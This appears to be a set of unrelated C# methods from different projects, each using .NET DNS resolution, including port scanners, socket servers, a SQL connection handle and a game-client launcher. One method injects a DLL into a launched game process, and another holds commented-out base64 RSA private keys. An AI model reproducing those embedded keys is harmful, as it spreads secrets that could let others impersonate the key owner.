public void Start() { IPHostEntry hostEntry = Dns.GetHostEntry(Host); IPAddress ipAddress = hostEntry.AddressList[1]; neighborClient = new UdpClient(UpdatePort); IPEndPoint sender = new IPEndPoint(IPAddress.Any, UpdatePort); EndPoint neighborRouter = (EndPoint)sender; // Data buffer for incoming data. byte[] bytes = new byte[1024]; // read file ReadConfig(); WriteToFile("Starting: " + Directory); SendUMessage(); // Bind the socket to the local endpoint and // listen for incoming connections. try { System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); watch.Start(); while (true) { ArrayList listenList = new ArrayList(); ArrayList acceptList = new ArrayList(); // bind sockets to ports. Update = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); Update.Bind(new IPEndPoint(ipAddress, UpdatePort)); Command = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); Command.Bind(new IPEndPoint(ipAddress, CommandPort)); listenList.Add(Update); listenList.Add(Command); Socket.Select(listenList, null, null, 10 - watch.Elapsed.Seconds); int read = 0; for (int i = 0; i < listenList.Count; i++) { read = ((Socket)listenList[i]).ReceiveFrom(bytes, ref neighborRouter); if (read > 0) { string msg = Encoding.ASCII.GetString(bytes, 0, read); ProcessMessage(msg, neighborRouter); } } if (watch.Elapsed.Seconds >= 10) { Write((watch.ElapsedMilliseconds / 1000.00)); SendUMessage(); watch.Restart(); } ShutdownSockets(); } } catch (Exception e) { Console.WriteLine(e.ToString()); Console.Read(); } }
private async void StartScan() { DisplayStatusMessage = false; StatusMessage = string.Empty; IsScanRunning = true; PreparingScan = true; // Measure the time StartTime = DateTime.Now; stopwatch.Start(); dispatcherTimer.Tick += DispatcherTimer_Tick; dispatcherTimer.Interval = new TimeSpan(0, 0, 0, 0, 100); dispatcherTimer.Start(); EndTime = null; PortScanResult.Clear(); PortsOpen = 0; cancellationTokenSource = new CancellationTokenSource(); string[] hosts = HostnameOrIPAddress.Split(';'); List <Tuple <IPAddress, string> > hostData = new List <Tuple <IPAddress, string> >(); for (int i = 0; i < hosts.Length; i++) { string host = hosts[i].Trim(); string hostname = string.Empty; IPAddress.TryParse(host, out IPAddress ipAddress); try { // Resolve DNS // Try to resolve the hostname if (ipAddress == null) { IPHostEntry ipHostEntry = await Dns.GetHostEntryAsync(host); foreach (IPAddress ip in ipHostEntry.AddressList) { if (ip.AddressFamily == AddressFamily.InterNetwork && SettingsManager.Current.PortScanner_ResolveHostnamePreferIPv4) { ipAddress = ip; continue; } else if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !SettingsManager.Current.PortScanner_ResolveHostnamePreferIPv4) { ipAddress = ip; continue; } } // Fallback --> If we could not resolve our prefered ip protocol if (ipAddress == null) { foreach (IPAddress ip in ipHostEntry.AddressList) { ipAddress = ip; continue; } } hostname = host; } else { try { IPHostEntry ipHostEntry = await Dns.GetHostEntryAsync(ipAddress); hostname = ipHostEntry.HostName; } catch { } } } catch (SocketException) // This will catch DNS resolve errors { if (!string.IsNullOrEmpty(StatusMessage)) { StatusMessage += Environment.NewLine; } StatusMessage += string.Format(Application.Current.Resources["String_CouldNotResolveHostnameFor"] as string, host); DisplayStatusMessage = true; continue; } hostData.Add(Tuple.Create(ipAddress, hostname)); } if (hostData.Count == 0) { StatusMessage += Environment.NewLine + Application.Current.Resources["String_NothingToDoCheckYourInput"] as string; DisplayStatusMessage = true; ScanFinished(); return; } int[] ports = await PortRangeHelper.ConvertPortRangeToIntArrayAsync(Ports); try { PortsToScan = ports.Length * hostData.Count; PortsScanned = 0; PreparingScan = false; HostnameOrIPAddressHistory = new List <string>(HistoryListHelper.Modify(HostnameOrIPAddressHistory, HostnameOrIPAddress, SettingsManager.Current.Application_HistoryListEntries)); PortsHistory = new List <string>(HistoryListHelper.Modify(PortsHistory, Ports, SettingsManager.Current.Application_HistoryListEntries)); PortScannerOptions portScannerOptions = new PortScannerOptions { Threads = SettingsManager.Current.PortScanner_Threads, ShowClosed = SettingsManager.Current.PortScanner_ShowClosed, Timeout = SettingsManager.Current.PortScanner_Timeout }; PortScanner portScanner = new PortScanner(); portScanner.PortScanned += PortScanner_PortScanned; portScanner.ScanComplete += PortScanner_ScanComplete; portScanner.ProgressChanged += PortScanner_ProgressChanged; portScanner.UserHasCanceled += PortScanner_UserHasCanceled; portScanner.ScanAsync(hostData, ports, portScannerOptions, cancellationTokenSource.Token); } catch (Exception ex) // This will catch any exception { StatusMessage = ex.Message; DisplayStatusMessage = true; ScanFinished(); } }
private void BtnLogin_Click(object _sender, EventArgs _e) { if (this.Client == null || this.Client.Status.In(ServerStatus.Close)) { string Host = this.textHost.Text; IPAddress[] IPAddressList = Dns.GetHostAddresses(Host); IPAddress IPAddress = IPAddressList.First(x => x.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork); if (this.Client == null) { this.Client = new Client(); this.Client.Log += (sender, e) => { this.Invoke(new MethodInvoker(() => { StringBuilder write = new StringBuilder(); if (string.IsNullOrWhiteSpace(e.Name)) { write.AppendLine(e.Text.Split(Utility.CharNewLine) .Select(x => string.Format($"[{{0}} {{1}}]: {{2}}", Utility.GetTimeString(DateTime.Now), e.LevelText, x)) .Join(Environment.NewLine)); } else { write.AppendLine(e.Text.Split(Utility.CharNewLine) .Select(x => string.Format($"[{{0}} {{1}}][{{2}}]: {{3}}", Utility.GetTimeString(DateTime.Now), e.LevelText, e.Name, x)) .Join(Environment.NewLine)); } this.textLog.Text += write.ToString(); this.textLog.Select(this.textLog.Text.Length, 0); this.textLog.ScrollToCaret(); })); }; this.Client.ClientLogin += (sender, e) => { }; this.Client.AddFunction(new Function() { Name = "ping", Func = (x, caller) => { caller.CallFunction("ping", x); return(0); } }); this.Client.StatusChanged += (sender, e) => { this.Invoke(new MethodInvoker(() => { switch (e.Status) { case ServerStatus.Connecting: this.textHost.ReadOnly = true; this.textPort.ReadOnly = true; this.textUserName.ReadOnly = true; this.textPassword.ReadOnly = true; this.BtnLogin.Enabled = false; this.TextCommand.Focus(); break; case ServerStatus.Connected: string username = this.textUserName.Text; string password = this.textPassword.Text; Arguments args = new Arguments(); args.Put("username", username); args.Put("password", password); this.Client.Login(args); break; case ServerStatus.Close: this.textHost.ReadOnly = false; this.textPort.ReadOnly = false; this.textUserName.ReadOnly = false; this.textPassword.ReadOnly = false; this.BtnLogin.Enabled = true; this.BtnLogin.Focus(); break; } })); }; } if (IPAddress != null) { string IP = IPAddress.ToString(); int Port = int.Parse(this.textPort.Text); this.Client.Start(IP, Port); } } }
/// <summary> /// Constructor /// </summary> /// <param name="serverName">Server name</param> /// <param name="port">TCP port number</param> /// <param name="timerExpire">Connection timer expiration</param> /// <param name="callbackObject">Callback object</param> public SNITCPHandle(string serverName, int port, long timerExpire, object callbackObject, bool parallel) { _writeScheduler = new ConcurrentExclusiveSchedulerPair().ExclusiveScheduler; _writeTaskFactory = new TaskFactory(_writeScheduler); _callbackObject = callbackObject; _targetServer = serverName; try { TimeSpan ts = default(TimeSpan); // In case the Timeout is Infinite, we will receive the max value of Int64 as the tick count // The infinite Timeout is a function of ConnectionString Timeout=0 bool isInfiniteTimeOut = long.MaxValue == timerExpire; if (!isInfiniteTimeOut) { ts = DateTime.FromFileTime(timerExpire) - DateTime.Now; ts = ts.Ticks < 0 ? TimeSpan.FromTicks(0) : ts; } Task <Socket> connectTask; if (parallel) { Task <IPAddress[]> serverAddrTask = Dns.GetHostAddressesAsync(serverName); serverAddrTask.Wait(ts); IPAddress[] serverAddresses = serverAddrTask.Result; if (serverAddresses.Length > MaxParallelIpAddresses) { // Fail if above 64 to match legacy behavior ReportTcpSNIError(0, SNICommon.MultiSubnetFailoverWithMoreThan64IPs, string.Empty); return; } connectTask = ParallelConnectAsync(serverAddresses, port); } else { connectTask = ConnectAsync(serverName, port); } if (!(isInfiniteTimeOut ? connectTask.Wait(-1) : connectTask.Wait(ts))) { ReportTcpSNIError(0, SNICommon.ConnOpenFailedError, string.Empty); return; } _socket = connectTask.Result; if (_socket == null || !_socket.Connected) { if (_socket != null) { _socket.Dispose(); _socket = null; } ReportTcpSNIError(0, SNICommon.ConnOpenFailedError, string.Empty); return; } _socket.NoDelay = true; _tcpStream = new NetworkStream(_socket, true); _sslOverTdsStream = new SslOverTdsStream(_tcpStream); _sslStream = new SslStream(_sslOverTdsStream, true, new RemoteCertificateValidationCallback(ValidateServerCertificate), null); } catch (SocketException se) { ReportTcpSNIError(se); return; } catch (Exception e) { ReportTcpSNIError(e); return; } _stream = _tcpStream; _status = TdsEnums.SNI_SUCCESS; }
private void okay_Click(object sender, EventArgs e) { string serverip = this.serverList.Text.Trim(); int serverport = Form1.ToInt32(this.port.Text.Trim(), 0); if (serverip == "") { int num1 = (int)MessageBox.Show("Enter the server IP adress!"); } else if (serverport <= 0 || serverport > (int)ushort.MaxValue) { int num2 = (int)MessageBox.Show("Enter a valid port!"); } else { IPAddress address = (IPAddress)null; try { IPAddress[] hostAddresses = Dns.GetHostAddresses(serverip); if ((uint)hostAddresses.Length > 0U) { address = hostAddresses[0]; } else { int num3 = (int)MessageBox.Show("IP address not found!"); return; } } catch (SocketException ex) { int num3 = (int)MessageBox.Show(ex.Message); } catch (Exception ex) { int num3 = (int)MessageBox.Show(ex.Message); } if (!File.Exists(Path.Combine(this.txtUokrPath.Text, "UOSA.exe"))) { int num4 = (int)MessageBox.Show("UOSA.exe does not exist."); } else { try { RemoteHooking.IpcCreateServer <SocketCommunication>(ref Form1.s_ChannelName, WellKnownObjectMode.SingleCall); string str = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "connection.dll"); Process process = new Process(); process.StartInfo = new ProcessStartInfo() { FileName = Path.Combine(this.txtUokrPath.Text, "UOSA.exe"), WorkingDirectory = this.txtUokrPath.Text }; if (!process.Start()) { int num3 = (int)MessageBox.Show("Cannot start the client !", Application.ProductName + " Error", MessageBoxButtons.OK, MessageBoxIcon.Hand); } else { uint num5 = this.ConvertIpAdress(address); ushort num6 = this.ConvertPort(serverport); process.WaitForInputIdle(); RemoteHooking.Inject(process.Id, str, str, (object)Form1.s_ChannelName, (object)num5, (object)num6); Form1.PathOrLaunch(process.Id); if (this.m_Server.Find((Predicate <Form1.Server>)(s => { if (s.IP == serverip) { return(s.Port == serverport); } return(false); })) == null) { this.m_Server.Add(new Form1.Server() { IP = serverip, Port = serverport }); } XElement xelement = new XElement((XName)"servers"); foreach (Form1.Server server in this.m_Server.Distinct <Form1.Server>()) { xelement.Add((object)new XElement((XName)"shard", new object[3] { (object)new XAttribute((XName)"login", (object)server.IP), (object)new XAttribute((XName)"port", (object)server.Port), (object)new XAttribute((XName)"lastselect", !(server.IP == this.serverList.Text) || !(server.Port.ToString() == this.port.Text) ? (object)"false" : (object)"true") })); } xelement.Save(this.config_file); this.Dispose(); process.WaitForExit(); } } catch (Exception ex) { } } } }
private void ScanHandlers(string serviceName) { var assemblies = AppDomain.CurrentDomain.GetAssemblies().ToList(); foreach (var assemblyName in Assembly.GetExecutingAssembly().GetReferencedAssemblies()) { var referencedAssembly = Assembly.Load(assemblyName); assemblies.Add(referencedAssembly); } var types = assemblies.SelectMany(x => x.GetTypes()); foreach (var type in types) { var handlerInterfaceType = type.GetInterfaces().Where(i => i.Name == typeof(IHandleMessages <>).Name).FirstOrDefault(); if (handlerInterfaceType != null) { var messageType = handlerInterfaceType.GetGenericArguments()[0]; //TODO: para hacer este bind comprobar que sea un evento, los commands van directos al exchange del routing //crear binding desde el exchange del mensaje hacia el exchange del endpoint if (typeof(IEvent).IsAssignableFrom(messageType)) { channel.ExchangeBind(serviceName, messageType.Name, messageType.Name); } handlersDictionary.Add(messageType.Name, type); //configurar handler channel.BasicQos(prefetchSize: 0, prefetchCount: 1, global: false); var consumer = new EventingBasicConsumer(channel); consumer.Received += (model, eventArgs) => { if (ResolveHandlerAndExecute(eventArgs, serviceName)) { channel.BasicAck(deliveryTag: eventArgs.DeliveryTag, multiple: false); } }; channel.BasicConsume(queue: serviceName, autoAck: false, consumerTag: $"{ Environment.MachineName }({ Dns.GetHostAddresses(Environment.MachineName)[0] }).{messageType.Name}", consumer: consumer); } } }
public MainUiModel() { //var privKey = Convert.FromBase64String(@"MIICXAIBAAKBgQCC11ODfQ4yt3But3ZtBxfxoPU1kRzj+fdsrcBiBDlOLYHuzs+nr1awp8M99Xz2V3uDs4LaUdltSAlyUyYUCJayV5gjwzUKQM+2qBecbsxBwhlFau8s7j0vo88YPz26irNNmAAsBHICFB9EJRV6GuxuqToD7kfNOZ7F9MgnHaP2HwIDAQABAoGAXeGC2uXwOhPFaKvbHX/pfkavqy/kOvAwyJojYDEHrUCZ6nAaL4dv/HFjdiGe+GLtDSLQ0TXJfNAjdxSSTe2bsnCfXaTapUfp4ugtQ2FAJ9wsQXkUMtPzxq58YaOyPRKFi80RQOU/oslRUmFLhWdjhCtqX6JTsV8a3tBC19/KA4ECQQDbHKyXGsqC6E93WiZ0wKXPLD6EtLGApoSCCguq7HKfhVW1sZD4iyKwttMhdB1JhqqZx1xQrilNbNGkJf5PydejAkEAmN5WqMp+RNVQRUu6A27yHX9gELRdEkRiTN6oPA9AZtqIBxTHhX8ssDY0ovSvYIx25ECCcKLab07MGWZy1Bz/VQJBAL2pHFvPfOvDWsXc6ty0xNGHYrZMEjlh6eEGAQN6l90s9PvJL8tz5BtCpY6Xi6JRRurFfkr39hhm0TBdErzN4jECQCbeCRybd6VaszEbQu1SjR6w3yUAJtXZK0EuL4otuossLv/V6bDol90puxJfsiOTMztvp3qp/W3llAE1SibiRI0CQEjy2xNq2N1YvIRVRK08xaV54bEQAIe5fn10FlK4Gss3a3Lu8TT8zwwaqOxVP80r39YzGDwjcP6817UjJQMfBNU="); //var pupKey = Convert.FromBase64String(@"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC11ODfQ4yt3But3ZtBxfxoPU1kRzj+fdsrcBiBDlOLYHuzs+nr1awp8M99Xz2V3uDs4LaUdltSAlyUyYUCJayV5gjwzUKQM+2qBecbsxBwhlFau8s7j0vo88YPz26irNNmAAsBHICFB9EJRV6GuxuqToD7kfNOZ7F9MgnHaP2HwIDAQAB"); //var pupKey = Convert.FromBase64String(@"MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAmnEzG/EPYp3abux/j1KNJzqXn8prklxU56jiQXjPO8dtNjOuGSg6THyuaVqNfQwQllxv7Tvy/0SnjTNyAckim5PiBbmDuu2DZ3WQ5oJXJT3QFE2awTVrrz7a/IbSI432P+R+rVjjc8nWHYTQdOR/C6wcZa3golgGEmhPU68SjtO8g3OmPcZ/DN+Yexdjhyh5eD6Bc3zg5SkxBymJ4NdwXM8w2Xq80gmrJEpm7LHTqUI+YNt9SOk8PXZZm38iBiLD0NPK8fWd4Xc6/yBJnkEKLbwJG89CBV9lmPkJBZn0nJ5jN8BxLyqAAKZFhRMpkUsHAVvxMvJBj6gNER34X1e6cQIBJQ=="); //var privKey = Convert.FromBase64String(@"MIIEoQIBAAKCAQEAmnEzG/EPYp3abux/j1KNJzqXn8prklxU56jiQXjPO8dtNjOuGSg6THyuaVqNfQwQllxv7Tvy/0SnjTNyAckim5PiBbmDuu2DZ3WQ5oJXJT3QFE2awTVrrz7a/IbSI432P+R+rVjjc8nWHYTQdOR/C6wcZa3golgGEmhPU68SjtO8g3OmPcZ/DN+Yexdjhyh5eD6Bc3zg5SkxBymJ4NdwXM8w2Xq80gmrJEpm7LHTqUI+YNt9SOk8PXZZm38iBiLD0NPK8fWd4Xc6/yBJnkEKLbwJG89CBV9lmPkJBZn0nJ5jN8BxLyqAAKZFhRMpkUsHAVvxMvJBj6gNER34X1e6cQIBJQKCAQApvbrJSBH++jsJOP/hi+7MVQZiibw1ZRAHQmap6UzEDGK0tAWKQjlFGsdavoca4KqJgMRN9IbdNSZdg4aYsubCQ6Te895p31Pycs03YX9WLGHATFNW0CrxF+gokyQJm/1dYFmWomb8sxdGP5JJGylBbMlnlscXHrWIbzgIx4h5oJbAJYyxfhS7GeOyb61jPdHnVKqMQWkSt9u7/ozmHVg9sH8ZbrBDEW/3HovrKqqmgPuftZE7bYeIQSPinrQJ+b7I3AFk/0mhpDe1UD65KWQuBIshrj4Qa3A2tr+9HXr5U4RZh/h7vrpWuKpn+j4f1DxaAi0t0Hm33a4gXnwHkU31AoGBANXgN0Lgpm7YMTt1xGm1Q7+KnGLMw5E8zlMR++AKTix40Br7/SK2Orl579iFjKTWLb/jBOocBGVCdD7gbvWZwvheKXpeK8vQwqYGpVh9yYrW98L6NCgpHgtD7HTdDZShiKAAq5AjVJdkx9j1BA30u6mJdw/P78nkXLIvTs3pmkgXAoGBALjcSw3/ml0aAcW96PhJGZevT0E5YOR8spdXMwbpgxb/vtkyl0EjqAaYAyJN1B3RanUVUGA3aS5Pqq+OK18UQ7y+r36eGUGhCC1ABTxAKyZGGdzxyZqfgKGKm5uGbBj6LYy4ncmoYQP0mY+o8TXAZH4q3NPTGLVPyladPl+M8J63AoGAOc3lbAVdahDqth/UOD7UCkEjWPkSQu3W5gTcSmOmbOJhwhqXcSpVD4i9XR0s7ke5VnS1OFqZZ3m+jYjECwb2bKPT2+IZrLT2VmKpOoLchmOc6JamUAsc4HM4/P15SsPfvIqPO7aFkLN0SHmSZKMCSX8ZQos544nT3SGK64s+dFkCgYEAs91CG3U8PujfIUMn3NGAr0LJpz6/I4A/D8p21kr8FmCeA8KFVCKxUoYQ4xtK7JRnlINwzFGWxUaYPBuf0iGOA8BzZnBP7NQH9Kz+LMjQCZBQg/Ir8GPXGbdLSzauXX3LdCk/k8ZsOzMtoIizVuS0zcjW2+/8XWJkAT8MQUrcR2UCgYA4dNpVTW8wCOgl037wzQjbDbGF0iLLtfGZ83vTpn0mAlvDmLfxnZLkAebjEuSCQ86WUyHGjVoVtakvWHZ90bqNNubzEW1VaMvZoIvyIxOnPFvsf8DPjVz1xhIxuUkoSM5NdB+FqZdDjFbIQjGamMTA3N+uyV4lsbEqMEMoVkD1YA=="); var pubKey = new PemFile(); pubKey.ReadFile(Environment.GetCommandLineArgs()[1]); var privKey = new PemFile(); privKey.ReadFile(Environment.GetCommandLineArgs()[2]); Messages = new ObservableCollection <PeerMessage>(); Client = new PhonemeClient(6969, pubKey.Key, privKey.Key, new DirectoryTrustVerifier(Path.GetFullPath("TrustedKeys")), Dns.GetHostName()); Client.Start(); Client.PeerJoin += ClientOnPeerJoin; }
/// <summary> /// The publish collected data. /// </summary> /// <param name="publishedMetricsList"> /// The published metrics list. /// </param> /// <returns> /// The <see cref="bool"/>. /// </returns> public override bool PublishCollectedData(ref List <PublishedMetricValue> publishedMetricsList) { bool success; MetricValueWithStatus res = new MetricValueWithStatus(null, MetricCollectionStatus.FailedToCollect); LogTrace.WriteTraceFormatted("AgentsCenterPoller: Attempting publishing metrics for {0}", NodeServer.IPAddr); try { NiceComponent component = NodeServer.Components.Find(item => (item.Type == ComponentType.AgentsCenter)); if (component == null) { string erMsg = string.Format(SentinelConstants.ISP_MISSING_COMPONENT_TEMPLATE, ComponentType.AgentsCenter, NodeServer.HostName); LogTrace.WriteErrorFormatted(erMsg); this.AddAllMetricsToFailed(mMetricList, erMsg, FailedMetricReason.ISP_MissingComponent); //Lets make poller yellow throw new Exception(string.Format("AgentsCenter is not configured for {0}", NodeServer.IPAddr)); } if (!component.IsActiveInCluster) { LogTrace.WriteTrace("Not collecting metrics since not active in cluster."); return(true); } string endpoint = "http://" + NodeServer.IPAddr + ":62124/AgentsCenter.Information.AgentsMonitoring.IAgentsMonitoringStatusService"; Binding wsBinding = new BasicHttpBinding(BasicHttpSecurityMode.None); EndpointAddress endpointAdd = new EndpointAddress(endpoint); using (IAgentsCenterAccessor client = AgentsCenterHelper.GetAgentCenterAccessor(wsBinding, endpointAdd)) { client.Open(); //get sentinel identifier string sentinelIdentifier = Dns.GetHostName(); agents.Clear(); //get a list that containes the info of each agent List <AgentCurrentStatus> tempAgentslist = client.GetAgentsStatus(sentinelIdentifier); while (tempAgentslist != null && tempAgentslist.Count != 0) { LogTrace.WriteTraceFormatted("GetNextAgentsStatus returned {0} more agents", tempAgentslist.Count); agents.AddRange(tempAgentslist); tempAgentslist = client.GetNextAgentsStatus(sentinelIdentifier); } LogTrace.WriteTraceFormatted("Total amount of agents is {0}", agents.Count); //loop though each metric and publish it (or not) foreach (NICEMetric metric in mMetricList) { double stateCount = 0; //number of agents in certain state double totalAgentsCount = 0; //number of agents of certain type switch (metric.Name) { case ONLINE_SCREEN_AGENTS: GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_SCREEN_AGENT, AgentState.AGENT_STATE_IDLE); break; case ERRONEOUS_SCREEN_AGENTS: GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_SCREEN_AGENT, AgentState.AGENT_STATE_ERROR); break; case ONLINE_PO_CLIENTS: GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_PO, AgentState.AGENT_STATE_IDLE); break; case ERRONEOUS_PO_CLIENTS: GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_PO, AgentState.AGENT_STATE_ERROR); break; default: LogTrace.WriteErrorFormatted("Unknown metric has been found in the metric list: \"{0}\"", metric.Name); continue; } if (totalAgentsCount > 0) //if there are any agents of specified type, publish the metric { double metricValue = stateCount / totalAgentsCount * 100; //100 = 100% metricValue = Math.Round(metricValue, 2); LogTrace.WriteTraceFormatted("Metric \"{0}\" is being published with value {1}%.", metric.Name, metricValue); publishedMetricsList.Add(new PublishedMetricValue(metric, metricValue, NodeServer, component)); } else { LogTrace.WriteTraceFormatted("Not publishing metrics since there are no agents for \"{0}\".", metric.Name); } } client.Close(); } success = true; } catch (Exception e) { LogTrace.WriteErrorFormatted("An exception occured: {0}", e); res = NpsUtility.GetTheExceptionReason(e); success = false; } if (!success) { this.AddAllMetricsToFailed(mMetricList, res.ErrorMessage, res.ErrorReason); } return(success); }
/// <summary> /// 启动 /// </summary> private void Run() { if (isDisposed == true) { throw new ObjectDisposedException("ZYServer is Disposed"); } IPEndPoint myEnd = new IPEndPoint(IPAddress.Any, Port); if (Host.Equals("ipv6any", StringComparison.CurrentCultureIgnoreCase)) { myEnd = new IPEndPoint(IPAddress.IPv6Any, Port); } else if (!Host.Equals("any", StringComparison.CurrentCultureIgnoreCase)) { if (String.IsNullOrEmpty(Host)) { IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress s in p.AddressList) { if (!s.IsIPv6LinkLocal && s.AddressFamily != AddressFamily.InterNetworkV6) { myEnd = new IPEndPoint(s, Port); break; } } } else { try { myEnd = new IPEndPoint(IPAddress.Parse(Host), Port); } catch (FormatException) { IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress s in p.AddressList) { if (!s.IsIPv6LinkLocal) { myEnd = new IPEndPoint(s, Port); } } } } } sock = new Socket(myEnd.AddressFamily, SocketType.Stream, ProtocolType.Tcp); sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1); sock.Bind(myEnd); sock.Listen(512); ReceiveTimeout = 1000; var memoryPool = new Thruster.FastMemoryPool <byte>(); for (int i = 0; i < MaxConnectCout; i++) { PoolSend poolSend = new PoolSend(true); ZYSocketAsyncEventArgs socketasyn = new ZYSocketAsyncEventArgs( new LinesReadStream(MaxBufferSize), new BufferWriteStream(memoryPool, poolSend, poolSend), poolSend, poolSend, memoryPool, Encoding.UTF8 ); socketasyn.DisconnectIt = Disconnect_It; poolSend.SetAccpet(socketasyn); socketasyn.Completed += new EventHandler <ZYSocketAsyncEventArgs>(Asyn_Completed); Accept(socketasyn); } }
/// <summary> /// 启动 /// </summary> private void Run(IServiceProvider component) { if (isDisposed == true) { throw new ObjectDisposedException("ZYServer is Disposed"); } var config = component.GetService <SocketServerOptions>(); IPEndPoint myEnd = new IPEndPoint(IPAddress.Any, Port); if (Host.Equals("ipv6any", StringComparison.CurrentCultureIgnoreCase)) { myEnd = new IPEndPoint(IPAddress.IPv6Any, Port); } else if (!Host.Equals("any", StringComparison.CurrentCultureIgnoreCase)) { if (String.IsNullOrEmpty(Host)) { IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress s in p.AddressList) { if (!s.IsIPv6LinkLocal && s.AddressFamily != AddressFamily.InterNetworkV6) { myEnd = new IPEndPoint(s, Port); break; } } } else { try { myEnd = new IPEndPoint(IPAddress.Parse(Host), Port); } catch (FormatException) { IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress s in p.AddressList) { if (!s.IsIPv6LinkLocal) { myEnd = new IPEndPoint(s, Port); } } } } } sock = new Socket(myEnd.AddressFamily, SocketType.Stream, ProtocolType.Tcp); sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1); sock.Bind(myEnd); sock.Listen(config.BackLog); if (config.ReceiveTimeout > 0) { ReceiveTimeout = config.ReceiveTimeout; } if (config.SendTimeout > 0) { SendTimeout = config.SendTimeout; } var memoryPool = component.GetRequiredService <MemoryPool <byte> >(); var encode = component.GetRequiredService <Encoding>(); var objFormat = component.GetRequiredService <ISerialization>(); for (int i = 0; i < MaxConnectCout; i++) { var poolSend = component.GetRequiredService <ISend>(); var poolAsyncSend = component.GetRequiredService <IAsyncSend>(); ZYSocketAsyncEventArgs socketasyn = new ZYSocketAsyncEventArgs( new LinesReadStream(MaxBufferSize), new BufferWriteStream(memoryPool, poolSend, poolAsyncSend), poolSend, poolAsyncSend, memoryPool, encode, objFormat, config.IsLittleEndian ); socketasyn.DisconnectIt = Disconnect_It; poolSend.SetAccpet(socketasyn); poolAsyncSend.SetAccpet(socketasyn); socketasyn.Completed += new EventHandler <ZYSocketAsyncEventArgs>(Asyn_Completed); Accept(socketasyn); } }
private void PortScanner(IEnumerable <int> ports, IPAddress ipaddress, ManualResetEvent mre) { string hostname = "Unknown"; try { var ipToDomainName = Dns.GetHostEntry(ipaddress); hostname = ipToDomainName.HostName; } catch { } foreach (int iport in ports) { try { string req = ipaddress + ":" + iport; var request = (HttpWebRequest)WebRequest.Create("http://" + req); request.Referer = ""; request.Timeout = 3000; request.UserAgent = "Mozilla/5.0"; request.AllowAutoRedirect = false; request.KeepAlive = false; HttpWebResponse response = null; try { response = (HttpWebResponse)request.GetResponse(); } catch (WebException e) { response = (HttpWebResponse)e.Response; } catch (Exception ex) { Logger.LogMessage("Web error from " + ipaddress + ":" + iport + " " + ex.Message, "NetworkDiscovery"); } if (response != null) { Logger.LogMessage("Web response from " + ipaddress + ":" + iport + " " + response.StatusCode, "NetworkDiscovery"); if (response.Headers != null) { string webserver = "yes"; foreach (string k in response.Headers.AllKeys) { if (k.ToLower().Trim() == "server") { webserver = response.Headers[k]; } } int iport1 = iport; if (DeviceFound != null) { var nd = new NetworkDevice(ipaddress, iport1, hostname, webserver); DeviceFound(this, new DeviceFoundEventArgs(nd)); } } } } catch (Exception ex) { Logger.LogMessage("Web error from " + ipaddress + ":" + iport + " " + ex.Message, "NetworkDiscovery"); } } mre.Set(); }
protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { title.Text = sysParamBL.FindSingle(x => x.Name == "title").Val; } string IP = GetLanIPAddress(); if (string.IsNullOrEmpty(IP) || IP.Contains('%')) { IP = GetVisitorIpAddress(); } if (HttpContext.Current.User.Identity.IsAuthenticated) { t_Users user = new t_Users(); string username = HttpContext.Current.User.Identity.Name; // Update name - Pi-solution developer lbUserName.Text = username; t_Users dbUser = _userBL.GetUser(username); user = dbUser; user.Active = true; string hostName = Dns.GetHostName(); user.Ip = Dns.GetHostAddresses(hostName).GetValue(0).ToString(); user.Ip = IP; user.TimeStamp = DateTime.Now; _userBL.UpdateUser(user, dbUser); string role = user.Role; //RoleFunciton t_RoleFunction _functions = new t_RoleFunction(); List <int> dbfunction = (from a in _roleFunctionBL.FindAll(s => s.Role == role && s.Active == true).ToList() select a.FunctionId).ToList(); //URL by Role List <string> fun = (from q in languageobj.FindAll(s => dbfunction.Contains(s.FunctionId)).ToList() select q.URL).ToList(); hidListMenu.Value = "@"; foreach (var _f in fun) { hidListMenu.Value = hidListMenu.Value + _f + "@"; } lnkMapJS.Attributes.Add("href", "/Consumer/Logger/MapJS_rev1.aspx?uid=" + username); } else { Response.Redirect("~/Login.aspx"); } // Update logo var sysParamList = sysParamBL.FindAll().ToList(); var var0 = sysParamList.Where(x => x.ID == 2).FirstOrDefault(); imgLogo.Src = (var0 == null) ? "" : var0.Val; // Update Company name var var01 = sysParamList.Where(x => x.Name == "company_name").FirstOrDefault(); lbCompany.Text = (var01 == null) ? "" : var01.Val; // Programming language - Pi solution if (Session["myapplication.language"] != null) { language = (Session["myapplication.language"]).ToString(); if (!IsPostBack) { // Set drop down current language DropDownList_Language.ClearSelection(); DropDownList_Language.Items.FindByValue(Session["myapplication.language"].ToString()).Selected = true; } // Load Language from SQL database var functionList = languageobj.FindAll(x => x.Language == language).ToList(); List <t_LanguageTranslate> contentList = languageBL.FindAll(x => x.Language == language && x.Noted.Contains("title_homepage")).ToList(); var var001 = contentList.Where(x => x.ControlId.Contains("title_homepage")).FirstOrDefault();; lbPageTitle.Text = (var001 == null) ? "" : var001.Contents; Page.Title = lbPageTitle.Text; var var1 = functionList.Where(x => x.URL.Contains("MapJS_rev1.aspx")).FirstOrDefault(); lbGeneralMap.Text = (var1 == null) ? "" : var1.FunctionName; var var2 = functionList.Where(x => x.URL.Contains("MapJS_rev1_DMA.aspx")).FirstOrDefault(); //lbDMAMap.Text = (var2 == null) ? "" : var2.FunctionName; //var var3 = functionList.Where(x => x.ParentId == 3).FirstOrDefault(); //lbData.Text = (var3 == 